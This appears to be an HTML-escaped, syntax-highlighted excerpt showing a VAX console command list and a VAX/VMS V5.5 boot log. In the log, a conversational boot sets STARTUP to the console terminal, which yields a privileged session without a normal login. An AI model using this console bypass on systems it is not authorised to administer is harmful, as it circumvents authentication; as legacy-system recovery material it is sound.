&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; EXAMINE [{ &lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;B | &lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;W | &lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;L | &lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;Q | &lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;A }] [{ &lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;P | &lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;V | &lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;I }] [&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;G] [&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;U] [&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;N:&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;n&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; [{ &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;addr&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; | &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;sym&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; | &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; | &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt; | &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; | @ }]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; FIND [{ &lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;MEMORY | &lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;RPB }]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; HALT
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; HELP
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; INITIALIZE
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; LOGIN
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; REPEAT &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;cmd&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; SET BOOT &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;ddau&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; SET BFLG &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;bflg&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; SET DIAGENV &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; SET FBOOT &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; SET HALT &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; SET KBD &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;15&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; SET MOP &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; SET PSE &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; SET PSWD
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; SET SCSI &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;7&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; SET TRIG &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; SHOW { BOOT | BFLG | CONFIG | DEV | DIAGENV | FBOOT | ETHER | ERROR |
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; ESTAT | HALT | KBD | MEM | MOP | PSE | SCSI | TRIG }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; START &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;addr&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;TEST&lt;/span&gt; [&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;UTIL] &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;devnam | devnbr&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; UNJAM
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; X &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;addr&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;cnt&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; ...
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; ?
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; B&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;DKA300
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; SYSBOOT&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;  SET&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;STARTUP OPA0:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; SYSBOOT&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;  SET WINDOWS_SYSTEM &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; %SYSBOOT&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;E&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;NOPARAM, no such parameter WINDOWS_SYSTEM
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; SYSBOOT&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;  SET WRITESYSPARAMS &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; SYSBOOT&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt;  CONTINUE
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; VAX&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;VMS Version V5.&lt;span style=&#34;color:#ae81ff&#34;&gt;5&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;2H4 Major version id &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; Minor version id &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; PLEASE ENTER &lt;span style=&#34;color:#66d9ef&#34;&gt;DATE&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;AND&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;TIME&lt;/span&gt; (DD&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;MMM&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;YYYY  HH:MM)  &lt;span style=&#34;color:#ae81ff&#34;&gt;27&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;NOV&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;2009&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;:&lt;span style=&#34;color:#ae81ff&#34;&gt;51&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; $
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; $ SPAWN
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; SPAWN
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; %&lt;span style=&#34;color:#66d9ef&#34;&gt;DCL-S&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;SPAWNED, process SYSTEM_1 spawned
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; %&lt;span style=&#34;color:#66d9ef&#34;&gt;DCL-S&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;ATTACHED, terminal now attached &lt;span style=&#34;color:#66d9ef&#34;&gt;to&lt;/span&gt; process SYSTEM_1
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; $ @SYS$SYSTEM:STARTUP
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; $!  &lt;span style=&#34;color:#66d9ef&#34;&gt;Copyright&lt;/span&gt; (c) &lt;span style=&#34;color:#ae81ff&#34;&gt;1993&lt;/span&gt; Digital Equipment Corporation.  All rights reserved.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; %STDRV&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;I&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;STARTUP, VMS startup begun at &lt;span style=&#34;color:#ae81ff&#34;&gt;27&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;NOV&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;2009&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;04&lt;/span&gt;:&lt;span style=&#34;color:#ae81ff&#34;&gt;00&lt;/span&gt;:&lt;span style=&#34;color:#ae81ff&#34;&gt;59.19&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; The VAX&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;VMS system is now executing the system startup procedure.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; %SET&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;I&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;NEWAUDSRV, identification of new audit server process is &lt;span style=&#34;color:#ae81ff&#34;&gt;00000088&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; The VAX&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;VMS system is now executing the site&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;specific startup commands.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; %RUN&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;S&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;PROC_ID, identification of created process is 0000008C
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; %NCP&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;W&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;FILOPE, File &lt;span style=&#34;color:#66d9ef&#34;&gt;open&lt;/span&gt; error , Permanent database
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; %NML&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;E&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;OPENOUT, error opening SYS$SYSROOT:[SYSEXE]NETLOGING.DAT; as output
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;RMS&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;F&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;PLV, unsupported prolog version
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; %NCP&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;W&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;OPEFAI, Operation failure
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; %SYSTEM&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;F&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;TIMEOUT, device timeout
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; , timeout
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; , unit is active
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; , fatal hardware error
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; %NCP&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;W&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;UNRCMP, Unrecognized component , Circuit
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; Circuit &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; SVA&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; %NCP&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;I&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;NOINFO, No information &lt;span style=&#34;color:#66d9ef&#34;&gt;in&lt;/span&gt; database
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; %RUN&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;S&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;PROC_ID, identification of created process is 0000008D
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; Job NCPSTART (queue SYS$BATCH, entry &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;) started on SYS$BATCH
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; %RUN&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;S&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;PROC_ID, identification of created process is 0000008F
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; %SET&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;I&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;INTSET, login interactive limit &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;20&lt;/span&gt;, current interactive &lt;span style=&#34;color:#66d9ef&#34;&gt;value&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;27&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;NOV&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;2009&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;04&lt;/span&gt;:&lt;span style=&#34;color:#ae81ff&#34;&gt;03&lt;/span&gt;:&lt;span style=&#34;color:#ae81ff&#34;&gt;07&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; Process SYSTEM_1 logged &lt;span style=&#34;color:#66d9ef&#34;&gt;out&lt;/span&gt; at &lt;span style=&#34;color:#ae81ff&#34;&gt;27&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;NOV&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;2009&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;04&lt;/span&gt;:&lt;span style=&#34;color:#ae81ff&#34;&gt;03&lt;/span&gt;:&lt;span style=&#34;color:#ae81ff&#34;&gt;08.62&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; Accounting information:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; Buffered I&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;O count:            &lt;span style=&#34;color:#ae81ff&#34;&gt;3431&lt;/span&gt;         Peak working set size:     &lt;span style=&#34;color:#ae81ff&#34;&gt;888&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; Direct I&lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt;O count:              &lt;span style=&#34;color:#ae81ff&#34;&gt;1440&lt;/span&gt;         Peak page file size:      &lt;span style=&#34;color:#ae81ff&#34;&gt;3806&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; Page faults:                  &lt;span style=&#34;color:#ae81ff&#34;&gt;16606&lt;/span&gt;         Mounted volumes:             &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;
